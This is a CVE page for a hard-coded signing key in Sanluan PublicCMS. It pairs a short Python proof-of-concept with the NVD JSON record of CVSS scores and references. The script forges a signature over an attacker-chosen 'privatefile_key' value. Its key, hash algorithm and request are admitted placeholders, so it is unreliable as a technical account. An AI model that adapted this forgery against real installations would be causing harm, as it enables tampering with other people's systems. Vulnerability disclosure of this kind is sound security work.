CVE-2026-8739

import hashlib # PoC for CVE-2026-8739: Hard-coded Cryptographic Key in PublicCMS # This script demonstrates the usage of the hard-coded key to forge a signature. # The hard-coded key found in SafeConfigComponent.java # (Assuming key for demonstration based on typical scenarios or description) HARDCODED_KEY = "publiccms_default_key_placeholder" def generate_signature(data, key): """ Simulates the signing process using the vulnerable hard-coded key. """ # Concatenate data and key sign_string = data + key # Generate hash (e.g., MD5 or SHA256 depending on implementation) signature = hashlib.md5(sign_string.encode('utf-8')).hexdigest() return signature def exploit(target_url): """ Function to send a request with a forged signature. """ malicious_data = "privatefile_key=attacker_controlled_value" forged_sig = generate_signature(malicious_data, HARDCODED_KEY) print(f"[+] Target: {target_url}") print(f"[+] Hard-coded Key: {HARDCODED_KEY}") print(f"[+] Forged Signature: {forged_sig}") print(f"[!] Sending malicious request with forged signature...") # In a real exploit, an HTTP request would be sent here. # requests.get(target_url, params={'data': malicious_data, 'sign': forged_sig}) if __name__ == "__main__": target = "http://target-publiccms.com/api/verify" exploit(target)

{"cve": {"id": "CVE-2026-8739", "sourceIdentifier": "[email protected]", "published": "2026-05-17T08:16:23.107", "lastModified": "2026-05-17T08:16:23.107", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Sanluan PublicCMS 5.202506.d. The affected element is the function getSignKey of the file publiccms-core/src/main/java/com/publiccms/logic/component/config/SafeConfigComponent.java. The manipulation of the argument privatefile_key results in use of hard-coded cryptographic key\r . The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/809917", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364327", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364327/cti", "source": "[email protected]"}, {"url": "https://vulnplus-note.wetolink.com/share/PCVUlOncmwTC", "source": "[email protected]"}]}}